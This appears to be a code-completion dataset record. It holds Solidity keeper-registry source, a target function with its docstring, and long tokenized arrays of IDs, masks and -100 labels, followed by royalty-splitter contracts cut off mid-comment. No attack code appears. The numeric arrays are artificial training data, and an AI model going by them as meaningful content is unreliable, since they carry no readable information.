PerformParams memory params = generatePerformParams(from, id, performData, false);
prePerformUpkeep(upkeep, params.from, params.maxLinkPayment);
return (performData, params.maxLinkPayment, params.gasLimit, params.adjustedGasWei, params.linkEth);
}
/**
* @notice executes the upkeep with the perform data returned from
* checkUpkeep, validates the keeper's permissions, and pays the keeper.
* @param id identifier of the upkeep to execute the data with.
* @param performData calldata parameter to be passed to the target upkeep.
*/
function performUpkeep(uint256 id, bytes calldata performData) external override returns (bool success) {
return performUpkeepWithParams(generatePerformParams(msg.sender, id, performData, true));
}
/**
* @notice prevent an upkeep from being performed in the future
* @param id upkeep to be canceled
*/
function cancelUpkeep(uint256 id) external override {
uint64 maxValid = s_upkeep[id].maxValidBlocknumber;
bool notCanceled = maxValid == UINT64_MAX;
bool isOwner = msg.sender == owner();
require(notCanceled || (isOwner && maxValid > block.number), "too late to cancel upkeep");
require(isOwner || msg.sender == s_upkeep[id].admin, "only owner or admin");
uint256 height = block.number;
if (!isOwner) {
height = height.add(CANCELATION_DELAY);
}
s_upkeep[id].maxValidBlocknumber = uint64(height);
if (notCanceled) {
s_canceledUpkeepList.push(id);
}
emit UpkeepCanceled(id, uint64(height));
}
/**
* @notice adds LINK funding for an upkeep by transferring from the sender's
* LINK balance
* @param id upkeep to fund
* @param amount number of LINK to transfer
*/
function addFunds(uint256 id, uint96 amount) external override {
require(s_upkeep[id].maxValidBlocknumber == UINT64_MAX, "upkeep must be active");
s_upkeep[id].balance = s_upkeep[id].balance.add(amount);
s_expectedLinkBalance = s_expectedLinkBalance.add(amount);
LINK.transferFrom(msg.sender, address(this), amount);
emit FundsAdded(id, msg.sender, amount);
}
/**
* @notice uses LINK's transferAndCall to LINK and add funding to an upkeep
* @dev safe to cast uint256 to uint96 as total LINK supply is under UINT96MAX
* @param sender the account which transferred the funds
* @param amount number of LINK transfer
*/
function onTokenTransfer(
address sender,
uint256 amount,
bytes calldata data
) external {
require(msg.sender == address(LINK), "only callable through LINK");
require(data.length == 32, "data must be 32 bytes");
uint256 id = abi.decode(data, (uint256));
require(s_upkeep[id].maxValidBlocknumber == UINT64_MAX, "upkeep must be active");
s_upkeep[id].balance = s_upkeep[id].balance.add(uint96(amount));
s_expectedLinkBalance = s_expectedLinkBalance.add(amount);
emit FundsAdded(id, sender, uint96(amount));
}
/**
* @notice removes funding from a canceled upkeep
* @param id upkeep to withdraw funds from
* @param to destination address for sending remaining funds
*/
function withdrawFunds(uint256 id, address to) external validateRecipient(to) {
require(s_upkeep[id].admin == msg.sender, "only callable by admin");
require(s_upkeep[id].maxValidBlocknumber <= block.number, "upkeep must be canceled");
uint256 amount = s_upkeep[id].balance;
s_upkeep[id].balance = 0;
s_expectedLinkBalance = s_expectedLinkBalance.sub(amount);
emit FundsWithdrawn(id, amount, to);
LINK.transfer(to, amount);
}
/**
* @notice recovers LINK funds improperly transferred to the registry
* @dev In principle this function’s execution cost could exceed block
* gas limit. However, in our anticipated deployment, the number of upkeeps and
* keepers will be low enough to avoid this problem.
*/
function recoverFunds() external onlyOwner {
uint256 total = LINK.balanceOf(address(this));
LINK.transfer(msg.sender, total.sub(s_expectedLinkBalance));
}
/**
* @notice withdraws a keeper's payment, callable only by the keeper's payee
* @param from keeper address
* @param to address to send the payment to
*/
function withdrawPayment(address from, address to) external validateRecipient(to) {
KeeperInfo memory keeper = s_keeperInfo[from];
require(keeper.payee == msg.sender, "only callable by payee");
s_keeperInfo[from].balance = 0;
s_expectedLinkBalance = s_expectedLinkBalance.sub(keeper.balance);
emit PaymentWithdrawn(from, keeper.balance, to, msg.sender);
LINK.transfer(to, keeper.balance);
}
/**
* @notice proposes the safe transfer of a keeper's payee to another address
* @param keeper address of the keeper to transfer payee role
* @param proposed address to nominate for next payeeship
*/
function transferPayeeship(address keeper, address proposed) external {
require(s_keeperInfo[keeper].payee == msg.sender, "only callable by payee");
require(proposed != msg.sender, "cannot transfer to self");
if (s_proposedPayee[keeper] != proposed) {
s_proposedPayee[keeper] = proposed;
emit PayeeshipTransferRequested(keeper, msg.sender, proposed);
}
}
/**
* @notice accepts the safe transfer of payee role for a keeper
* @param keeper address to accept the payee role for
*/
function acceptPayeeship(address keeper) external {
require(s_proposedPayee[keeper] == msg.sender, "only callable by proposed payee");
address past = s_keeperInfo[keeper].payee;
s_keeperInfo[keeper].payee = msg.sender;
s_proposedPayee[keeper] = ZERO_ADDRESS;
emit PayeeshipTransferred(keeper, past, msg.sender);
}
/**
* @notice signals to keepers that they should not perform upkeeps until the
* contract has been unpaused
*/
function pause() external onlyOwner {
_pause();
}
/**
* @notice signals to keepers that they can perform upkeeps once again after
* having been paused
*/
function unpause() external onlyOwner {
_unpause();
}
// SETTERS
/**
* @notice updates the configuration of the registry
* @param paymentPremiumPPB payment premium rate oracles receive on top of
* being reimbursed for gas, measured in parts per billion
* @param flatFeeMicroLink flat fee paid to oracles for performing upkeeps
* @param blockCountPerTurn number of blocks an oracle should wait before
* checking for upkeep
* @param checkGasLimit gas limit when checking for upkeep
* @param stalenessSeconds number of seconds that is allowed for feed data to
* be stale before switching to the fallback pricing
* @param fallbackGasPrice gas price used if the gas price feed is stale
* @param fallbackLinkPrice LINK price used if the LINK price feed is stale
*/
function setConfig(
uint32 paymentPremiumPPB,
uint32 flatFeeMicroLink,
uint24 blockCountPerTurn,
uint32 checkGasLimit,
uint24 stalenessSeconds,
uint16 gasCeilingMultiplier,
uint256 fallbackGasPrice,
uint256 fallbackLinkPrice
) public onlyOwner {
s_config = Config({
paymentPremiumPPB: paymentPremiumPPB,
flatFeeMicroLink: flatFeeMicroLink,
blockCountPerTurn: blockCountPerTurn,
checkGasLimit: checkGasLimit,
stalenessSeconds: stalenessSeconds,
gasCeilingMultiplier: gasCeilingMultiplier
});
s_fallbackGasPrice = fallbackGasPrice;
s_fallbackLinkPrice = fallbackLinkPrice;
emit ConfigSet(
paymentPremiumPPB,
blockCountPerTurn,
checkGasLimit,
stalenessSeconds,
gasCeilingMultiplier,
fallbackGasPrice,
fallbackLinkPrice
);
emit FlatFeeSet(flatFeeMicroLink);
}
/**
* @notice update the list of keepers allowed to perform upkeep
* @param keepers list of addresses allowed to perform upkeep
* @param payees addresses corresponding to keepers who are allowed to
* move payments which have been accrued
*/
function setKeepers(address[] calldata keepers, address[] calldata payees) external onlyOwner {
require(keepers.length == payees.length, "address lists not the same length");
require(keepers.length >= 2, "not enough keepers");
for (uint256 i = 0; i < s_keeperList.length; i++) {
address keeper = s_keeperList[i];
s_keeperInfo[keeper].active = false;
}
for (uint256 i = 0; i < keepers.length; i++) {
address keeper = keepers[i];
KeeperInfo storage s_keeper = s_keeperInfo[keeper];
address oldPayee = s_keeper.payee;
address newPayee = payees[i];
require(newPayee != address(0), "cannot set payee to the zero address");
require(oldPayee == ZERO_ADDRESS || oldPayee == newPayee || newPayee == IGNORE_ADDRESS, "cannot change payee");
require(!s_keeper.active, "cannot add keeper twice");
s_keeper.active = true;
if (newPayee != IGNORE_ADDRESS) {
s_keeper.payee = newPayee;
}
}
s_keeperList = keepers;
emit KeepersUpdated(keepers, payees);
}
/**
* @notice update registrar
* @param registrar new registrar
*/
function setRegistrar(address registrar) external onlyOwnerOrRegistrar {
address previous = s_registrar;
require(registrar != previous, "Same registrar");
s_registrar = registrar;
emit RegistrarChanged(previous, registrar);
}
// GETTERS
/**
* @notice read all of the details about an upkeep
*/
function getUpkeep(uint256 id)
external
view
override
returns (
address target,
uint32 executeGas,
bytes memory checkData,
uint96 balance,
address lastKeeper,
address admin,
uint64 maxValidBlocknumber
)
{
Upkeep memory reg = s_upkeep[id];
return (
reg.target,
reg.executeGas,
s_checkData[id],
reg.balance,
reg.lastKeeper,
reg.admin,
reg.maxValidBlocknumber
);
}
/**
* @notice read the total number of upkeep's registered
*/
function getUpkeepCount() external view override returns (uint256) {
return s_upkeepCount;
}
/**
* @notice read the current list canceled upkeep IDs
*/
function getCanceledUpkeepList() external view override returns (uint256[] memory) {
return s_canceledUpkeepList;
}
/**
* @notice read the current list of addresses allowed to perform upkeep
*/
function getKeeperList() external view override returns (address[] memory) {
return s_keeperList;
}
/**
* @notice read the current registrar
*/
function getRegistrar() external view returns (address) {
return s_registrar;
}
/**
* @notice read the current info about any keeper address
*/
function getKeeperInfo(address query)
external
view
override
returns (
address payee,
bool active,
uint96 balance
)
{
KeeperInfo memory keeper = s_keeperInfo[query];
return (keeper.payee, keeper.active, keeper.balance);
}
/**
* @notice read the current configuration of the registry
*/
function getConfig()
external
view
override
returns (
uint32 paymentPremiumPPB,
uint24 blockCountPerTurn,
uint32 checkGasLimit,
uint24 stalenessSeconds,
uint16 gasCeilingMultiplier,
uint256 fallbackGasPrice,
uint256 fallbackLinkPrice
)
{
Config memory config = s_config;
return (
config.paymentPremiumPPB,
config.blockCountPerTurn,
config.checkGasLimit,
config.stalenessSeconds,
config.gasCeilingMultiplier,
s_fallbackGasPrice,
s_fallbackLinkPrice
);
}
/**
* @notice getFlatFee gets the flat rate fee charged to customers when performing upkeep,
* in units of of micro LINK
*/
function getFlatFee() external view returns (uint32) {
return s_config.flatFeeMicroLink;
}
/**
* @notice calculates the minimum balance required for an upkeep to remain eligible
*/
function getMinBalanceForUpkeep(uint256 id) external view returns (uint96 minBalance) {
return getMaxPaymentForGas(s_upkeep[id].executeGas);
}
/**
* @notice calculates the maximum payment for a given gas limit
*/
function getMaxPaymentForGas(uint256 gasLimit) public view returns (uint96 maxPayment) {
(uint256 gasWei, uint256 linkEth) = getFeedData();
uint256 adjustedGasWei = adjustGasPrice(gasWei, false);
return calculatePaymentAmount(gasLimit, adjustedGasWei, linkEth);
}
// PRIVATE
/**
* @dev retrieves feed data for fast gas/eth and link/eth prices. if the feed
* data is stale it uses the configured fallback price. Once a price is picked
* for gas it takes the min of gas price in the transaction or the fast gas
* price in order to reduce costs for the upkeep clients.
*/
function getFeedData() private view returns (uint256 gasWei, uint256 linkEth) {
uint32 stalenessSeconds = s_config.stalenessSeconds;
bool staleFallback = stalenessSeconds > 0;
uint256 timestamp;
int256 feedValue;
(, feedValue, , timestamp, ) = FAST_GAS_FEED.latestRoundData();
if ((staleFallback && stalenessSeconds < block.timestamp - timestamp) || feedValue <= 0) {
gasWei = s_fallbackGasPrice;
} else {
gasWei = uint256(feedValue);
}
(, feedValue, , timestamp, ) = LINK_ETH_FEED.latestRoundData();
if ((staleFallback && stalenessSeconds < block.timestamp - timestamp) || feedValue <= 0) {
linkEth = s_fallbackLinkPrice;
} else {
linkEth = uint256(feedValue);
}
return (gasWei, linkEth);
}
/**
* @dev calculates LINK paid for gas spent plus a configure premium percentage
*/
function calculatePaymentAmount(
uint256 gasLimit,
uint256 gasWei,
uint256 linkEth
) private view returns (uint96 payment) {
Config memory config = s_config;
uint256 weiForGas = gasWei.mul(gasLimit.add(REGISTRY_GAS_OVERHEAD));
uint256 premium = PPB_BASE.add(config.paymentPremiumPPB);
uint256 total = weiForGas.mul(1e9).mul(premium).div(linkEth).add(uint256(config.flatFeeMicroLink).mul(1e12));
require(total <= LINK_TOTAL_SUPPLY, "payment greater than all LINK");
return uint96(total); // LINK_TOTAL_SUPPLY < UINT96_MAX
}
/**
* @dev calls target address with exactly gasAmount gas and data as calldata
* or reverts if at least gasAmount gas is not available
*/
function callWithExactGas(
uint256 gasAmount,
address target,
bytes memory data
) private returns (bool success) {
assembly {
let g := gas()
// Compute g -= CUSHION and check for underflow
if lt(g, CUSHION) {
revert(0, 0)
}
g := sub(g, CUSHION)
// if g - g//64 <= gasAmount, revert
// (we subtract g//64 because of EIP-150)
if iszero(gt(sub(g, div(g, 64)), gasAmount)) {
revert(0, 0)
}
// solidity calls check that a contract actually exists at the destination, so we do the same
if iszero(extcodesize(target)) {
revert(0, 0)
}
// call and return whether we succeeded. ignore return data
success := call(gasAmount, target, 0, add(data, 0x20), mload(data), 0, 0)
}
return success;
}
/**
* @dev calls the Upkeep target with the performData param passed in by the
* keeper and the exact gas required by the Upkeep
*/
function performUpkeepWithParams(PerformParams memory params)
private
nonReentrant
validUpkeep(params.id)
returns (bool success)
{
Upkeep memory upkeep = s_upkeep[params.id];
prePerformUpkeep(upkeep, params.from, params.maxLinkPayment);
uint256 gasUsed = gasleft();
bytes memory callData = abi.encodeWithSelector(PERFORM_SELECTOR, params.performData);
success = callWithExactGas(params.gasLimit, upkeep.target, callData);
gasUsed = gasUsed - gasleft();
uint96 payment = calculatePaymentAmount(gasUsed, params.adjustedGasWei, params.linkEth);
uint96 newUpkeepBalance = s_upkeep[params.id].balance.sub(payment);
s_upkeep[params.id].balance = newUpkeepBalance;
s_upkeep[params.id].lastKeeper = params.from;
uint96 newKeeperBalance = s_keeperInfo[params.from].balance.add(payment);
s_keeperInfo[params.from].balance = newKeeperBalance;
emit UpkeepPerformed(params.id, success, params.from, payment, params.performData);
return success;
}
/**
* @dev ensures a upkeep is valid
*/
function validateUpkeep(uint256 id) private view {
require(s_upkeep[id].maxValidBlocknumber > block.number, "invalid upkeep id");
}
/**
* @dev ensures all required checks are passed before an upkeep is performed
*/
function prePerformUpkeep(
Upkeep memory upkeep,
address from,
uint256 maxLinkPayment
) private view {
require(s_keeperInfo[from].active, "only active keepers");
require(upkeep.balance >= maxLinkPayment, "insufficient funds");
require(upkeep.lastKeeper != from, "keepers must take turns");
}
/**
* @dev adjusts the gas price to min(ceiling, tx.gasprice) or just uses the ceiling if tx.gasprice is disabled
*/
function adjustGasPrice(uint256 gasWei, bool useTxGasPrice) private view returns (uint256 adjustedPrice) {
adjustedPrice = gasWei.mul(s_config.gasCeilingMultiplier);
if (useTxGasPrice && tx.gasprice < adjustedPrice) {
adjustedPrice = tx.gasprice;
}
}
/**
* @dev generates a PerformParams struct for use in performUpkeepWithParams()
*/
function generatePerformParams(
address from,
uint256 id,
bytes memory performData,
bool useTxGasPrice
) private view returns (PerformParams memory) {
uint256 gasLimit = s_upkeep[id].executeGas;
(uint256 gasWei, uint256 linkEth) = getFeedData();
uint256 adjustedGasWei = adjustGasPrice(gasWei, useTxGasPrice);
uint96 maxLinkPayment = calculatePaymentAmount(gasLimit, adjustedGasWei, linkEth);
return
PerformParams({
from: from,
id: id,
performData: performData,
maxLinkPayment: maxLinkPayment,
gasLimit: gasLimit,
adjustedGasWei: adjustedGasWei,
linkEth: linkEth
});
}
/**
* @dev extracts a revert reason from a call result payload
*/
function getRevertMsg(bytes memory _payload) private pure returns (string memory) {
if (_payload.length < 68) return "transaction reverted silently";
assembly {
_payload := add(_payload, 0x04)
}
return abi.decode(_payload, (string));
}
// MODIFIERS
/**
* @dev ensures a upkeep is valid
*/
modifier validUpkeep(uint256 id) {
validateUpkeep(id);
_;
}
/**
* @dev ensures that burns don't accidentally happen by sending to the zero
* address
*/
modifier validateRecipient(address to) {
require(to != address(0), "cannot send to zero address");
_;
}
/**
* @dev Reverts if called by anyone other than the contract owner or registrar.
*/
modifier onlyOwnerOrRegistrar() {
require(msg.sender == owner() || msg.sender == s_registrar, "Only callable by owner or registrar");
_;
}
}
| * @notice calculates the maximum payment for a given gas limit/ | function getMaxPaymentForGas(uint256 gasLimit) public view returns (uint96 maxPayment) {
(uint256 gasWei, uint256 linkEth) = getFeedData();
uint256 adjustedGasWei = adjustGasPrice(gasWei, false);
return calculatePaymentAmount(gasLimit, adjustedGasWei, linkEth);
}
| 12,571,857 | [
1,
12780,
815,
326,
4207,
5184,
364,
279,
864,
16189,
1800,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
445,
7288,
6032,
1290,
27998,
12,
11890,
5034,
16189,
3039,
13,
1071,
1476,
1135,
261,
11890,
10525,
943,
6032,
13,
288,
203,
565,
261,
11890,
5034,
16189,
3218,
77,
16,
2254,
5034,
1692,
41,
451,
13,
273,
13683,
329,
751,
5621,
203,
565,
2254,
5034,
13940,
27998,
3218,
77,
273,
5765,
27998,
5147,
12,
31604,
3218,
77,
16,
629,
1769,
203,
565,
327,
4604,
6032,
6275,
12,
31604,
3039,
16,
13940,
27998,
3218,
77,
16,
1692,
41,
451,
1769,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: GPL-3.0-or-later
/** ____________________________________________________________________________________
___________/\/\/\/\________/\/\____/\/\______/\/\/\/\/\________/\/\/\/\/\/\_________
_________/\/\____/\/\______/\/\____/\/\______/\/\____/\/\____________/\/\___________
_________/\/\____/\/\______/\/\____/\/\______/\/\/\/\/\____________/\/\_____________
_________/\/\____/\/\______/\/\____/\/\______/\/\__/\/\__________/\/\_______________
___________/\/\/\/\__________/\/\/\/\________/\/\____/\/\______/\/\/\/\/\/\_________
____________________________________________________________________________________ */
pragma solidity 0.8.4;
import {OurSplitter} from "./OurSplitter.sol";
import {OurMinter} from "./OurMinter.sol";
import {OurIntrospector} from "./OurIntrospector.sol";
/**
* @title OurPylon
* @author Nick A.
* https://github.com/ourz-network/our-contracts
*
* These contracts enable creators, builders, & collaborators of all kinds
* to receive royalties for their collective work, forever.
*
* Thank you,
* @author Mirror @title Splits https://github.com/mirror-xyz/splits
* @author Gnosis @title Safe https://github.com/gnosis/safe-contracts
* @author OpenZeppelin https://github.com/OpenZeppelin/openzeppelin-contracts
* @author Zora https://github.com/ourzora
*/
contract OurPylon is OurSplitter, OurMinter, OurIntrospector {
// Disables modification of Pylon after deployment
constructor() {
threshold = 1;
}
/**
* @dev Setup function sets initial storage of Poxy.
* @param owners_ List of addresses that can execute transactions other than claiming funds.
* @notice see OurManagement -> setupOwners()
* @notice approves Zora AH to handle Zora ERC721s
*/
function setup(address[] calldata owners_) external {
setupOwners(owners_);
emit SplitSetup(owners_);
// Approve Zora AH
_setApprovalForAH();
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.4;
import {OurStorage} from "./OurStorage.sol";
interface IERC20 {
function transfer(address recipient, uint256 amount)
external
returns (bool);
function balanceOf(address account) external view returns (uint256);
}
interface IWETH {
function deposit() external payable;
function transfer(address to, uint256 value) external returns (bool);
}
/**
* @title OurSplitter
* @author Nick A.
* https://github.com/ourz-network/our-contracts
*
* These contracts enable creators, builders, & collaborators of all kinds
* to receive royalties for their collective work, forever.
*
* Thank you,
* @author Mirror @title Splits https://github.com/mirror-xyz/splits
* @author Gnosis @title Safe https://github.com/gnosis/safe-contracts
* @author OpenZeppelin https://github.com/OpenZeppelin/openzeppelin-contracts
* @author Zora https://github.com/ourzora
*/
contract OurSplitter is OurStorage {
struct Proof {
bytes32[] merkleProof;
}
uint256 public constant PERCENTAGE_SCALE = 10e5;
/**======== Subgraph =========
* ETHReceived - emits sender and value in receive() fallback
* WindowIncremented - emits current claim window, and available value of ETH
* TransferETH - emits to address, value, and success bool
* TransferERC20 - emits token's contract address and total transferred amount
*/
event ETHReceived(address indexed sender, uint256 value);
event WindowIncremented(uint256 currentWindow, uint256 fundsAvailable);
event TransferETH(address account, uint256 amount, bool success);
event TransferERC20(address token, uint256 amount);
// Plain ETH transfers
receive() external payable {
_depositedInWindow += msg.value;
emit ETHReceived(msg.sender, msg.value);
}
function claimETH(
uint256 window,
address account,
uint256 scaledPercentageAllocation,
bytes32[] calldata merkleProof
) external {
require(currentWindow > window, "cannot claim for a future window");
require(
!isClaimed(window, account),
"Account already claimed the given window"
);
_setClaimed(window, account);
require(
_verifyProof(
merkleProof,
merkleRoot,
_getNode(account, scaledPercentageAllocation)
),
"Invalid proof"
);
_transferETHOrWETH(
account,
// The absolute amount that's claimable.
scaleAmountByPercentage(
balanceForWindow[window],
scaledPercentageAllocation
)
);
}
/**
* @dev Attempts transferring entire balance of an ERC20 to corresponding Recipients
* @notice if amount of tokens are not equally divisible according to allocation
* the remainder will be forwarded to accounts[0].
* In most cases, the difference will be negligible:
* ~remainder × 10^-17,
* or about 0.000000000000000100 at most.
* @notice iterating through an array to push payments goes against best practices,
* therefore it is advised to avoid accepting ERC-20s as payment.
*/
function claimERC20ForAll(
address tokenAddress,
address[] calldata accounts,
uint256[] calldata allocations,
Proof[] calldata merkleProofs
) external {
require(
_verifyProof(
merkleProofs[0].merkleProof,
merkleRoot,
_getNode(accounts[0], allocations[0])
),
"Invalid proof for Account 0"
);
uint256 erc20Balance = IERC20(tokenAddress).balanceOf(address(this));
for (uint256 i = 1; i < accounts.length; i++) {
require(
_verifyProof(
merkleProofs[i].merkleProof,
merkleRoot,
_getNode(accounts[i], allocations[i])
),
"Invalid proof"
);
uint256 scaledAmount = scaleAmountByPercentage(
erc20Balance,
allocations[i]
);
_attemptERC20Transfer(tokenAddress, accounts[i], scaledAmount);
}
_attemptERC20Transfer(
tokenAddress,
accounts[0],
IERC20(tokenAddress).balanceOf(address(this))
);
emit TransferERC20(tokenAddress, erc20Balance);
}
function claimETHForAllWindows(
address account,
uint256 percentageAllocation,
bytes32[] calldata merkleProof
) external {
// Make sure that the user has this allocation granted.
require(
_verifyProof(
merkleProof,
merkleRoot,
_getNode(account, percentageAllocation)
),
"Invalid proof"
);
uint256 amount = 0;
for (uint256 i = 0; i < currentWindow; i++) {
if (!isClaimed(i, account)) {
_setClaimed(i, account);
amount += scaleAmountByPercentage(
balanceForWindow[i],
percentageAllocation
);
}
}
_transferETHOrWETH(account, amount);
}
function incrementThenClaimAll(
address account,
uint256 percentageAllocation,
bytes32[] calldata merkleProof
) external {
incrementWindow();
_claimAll(account, percentageAllocation, merkleProof);
}
function incrementWindow() public {
uint256 fundsAvailable;
if (currentWindow == 0) {
fundsAvailable = address(this).balance;
} else {
// Current Balance, subtract previous balance to get the
// funds that were added for this window.
fundsAvailable = _depositedInWindow;
}
_depositedInWindow = 0;
require(fundsAvailable > 0, "No additional funds for window");
balanceForWindow.push(fundsAvailable);
currentWindow += 1;
emit WindowIncremented(currentWindow, fundsAvailable);
}
function isClaimed(uint256 window, address account)
public
view
returns (bool)
{
return _claimed[_getClaimHash(window, account)];
}
function scaleAmountByPercentage(uint256 amount, uint256 scaledPercent)
public
pure
returns (uint256 scaledAmount)
{
/* Example:
BalanceForWindow = 100 ETH // Allocation = 2%
To find out the amount we use, for example: (100 * 200) / (100 * 100)
which returns 2 -- i.e. 2% of the 100 ETH balance.
*/
scaledAmount = (amount * scaledPercent) / (100 * PERCENTAGE_SCALE);
}
/// @notice same as claimETHForAllWindows() but marked private for use in incrementThenClaimAll()
function _claimAll(
address account,
uint256 percentageAllocation,
bytes32[] calldata merkleProof
) private {
// Make sure that the user has this allocation granted.
require(
_verifyProof(
merkleProof,
merkleRoot,
_getNode(account, percentageAllocation)
),
"Invalid proof"
);
uint256 amount = 0;
for (uint256 i = 0; i < currentWindow; i++) {
if (!isClaimed(i, account)) {
_setClaimed(i, account);
amount += scaleAmountByPercentage(
balanceForWindow[i],
percentageAllocation
);
}
}
_transferETHOrWETH(account, amount);
}
//======== Private Functions ========
function _setClaimed(uint256 window, address account) private {
_claimed[_getClaimHash(window, account)] = true;
}
// Will attempt to transfer ETH, but will transfer WETH instead if it fails.
function _transferETHOrWETH(address to, uint256 value)
private
returns (bool didSucceed)
{
// Try to transfer ETH to the given recipient.
didSucceed = _attemptETHTransfer(to, value);
if (!didSucceed) {
// If the transfer fails, wrap and send as WETH, so that
// the auction is not impeded and the recipient still
// can claim ETH via the WETH contract (similar to escrow).
IWETH(WETH).deposit{value: value}();
IWETH(WETH).transfer(to, value);
// At this point, the recipient can unwrap WETH.
didSucceed = true;
}
emit TransferETH(to, value, didSucceed);
}
function _attemptETHTransfer(address to, uint256 value)
private
returns (bool)
{
// Here increase the gas limit a reasonable amount above the default, and try
// to send ETH to the recipient.
// NOTE: This might allow the recipient to attempt a limited reentrancy attack.
// solhint-disable-next-line avoid-low-level-calls
(bool success, ) = to.call{value: value, gas: 30000}("");
return success;
}
/**
* @dev Transfers ERC20s
* @notice Reverts entire transaction if one fails
* @notice A rogue owner could easily bypass countermeasures. Provided as last resort,
* in case Proxy receives ERC20.
*/
function _attemptERC20Transfer(
address tokenAddress,
address splitRecipient,
uint256 allocatedAmount
) private {
bool didSucceed = IERC20(tokenAddress).transfer(
splitRecipient,
allocatedAmount
);
require(didSucceed);
}
function _getClaimHash(uint256 window, address account)
private
pure
returns (bytes32)
{
return keccak256(abi.encodePacked(window, account));
}
function _amountFromPercent(uint256 amount, uint32 percent)
private
pure
returns (uint256)
{
// Solidity 0.8.0 lets us do this without SafeMath.
return (amount * percent) / 100;
}
function _getNode(address account, uint256 percentageAllocation)
private
pure
returns (bytes32)
{
return keccak256(abi.encodePacked(account, percentageAllocation));
}
// From https://github.com/protofire/zeppelin-solidity/blob/master/contracts/MerkleProof.sol
function _verifyProof(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) private pure returns (bool) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(
abi.encodePacked(computedHash, proofElement)
);
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(
abi.encodePacked(proofElement, computedHash)
);
}
}
// Check if the computed hash (root) is equal to the provided root
return computedHash == root;
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.4;
pragma experimental ABIEncoderV2;
import {OurManagement} from "./OurManagement.sol";
import {IZora} from "./interfaces/IZora.sol";
import {IERC721} from "./interfaces/IERC721.sol";
/**
* @title OurMinter
* @author Nick A.
* https://github.com/ourz-network/our-contracts
*
* These contracts enable creators, builders, & collaborators of all kinds
* to receive royalties for their collective work, forever.
*
* Thank you,
* @author Mirror @title Splits https://github.com/mirror-xyz/splits
* @author Gnosis @title Safe https://github.com/gnosis/safe-contracts
* @author OpenZeppelin https://github.com/OpenZeppelin/openzeppelin-contracts
* @author Zora https://github.com/ourzora
*
*
*
* @notice Some functions are marked as 'untrusted'Function. Use caution when interacting
* with these, as any contracts you supply could be potentially unsafe.
* 'Trusted' functions on the other hand -- implied by the absence of 'untrusted' --
* are hardcoded to use the Zora Protocol addresses.
* https://consensys.github.io/smart-contract-best-practices/recommendations/#mark-untrusted-contracts
*/
contract OurMinter is OurManagement {
address public constant ZORA_MEDIA =
0xabEFBc9fD2F806065b4f3C237d4b59D9A97Bcac7;
address public constant ZORA_MARKET =
0xE5BFAB544ecA83849c53464F85B7164375Bdaac1;
address public constant ZORA_AH =
0xE468cE99444174Bd3bBBEd09209577d25D1ad673;
address public constant ZORA_EDITIONS =
0x91A8713155758d410DFAc33a63E193AE3E89F909;
//======== Subgraph =========
event ZNFTMinted(uint256 tokenId);
event EditionCreated(
address editionAddress,
string name,
string symbol,
string description,
string animationUrl,
string imageUrl,
uint256 editionSize,
uint256 royaltyBPS
);
/**======== IZora =========
* @notice Various functions allowing a Split to interact with Zora Protocol
* @dev see IZora.sol
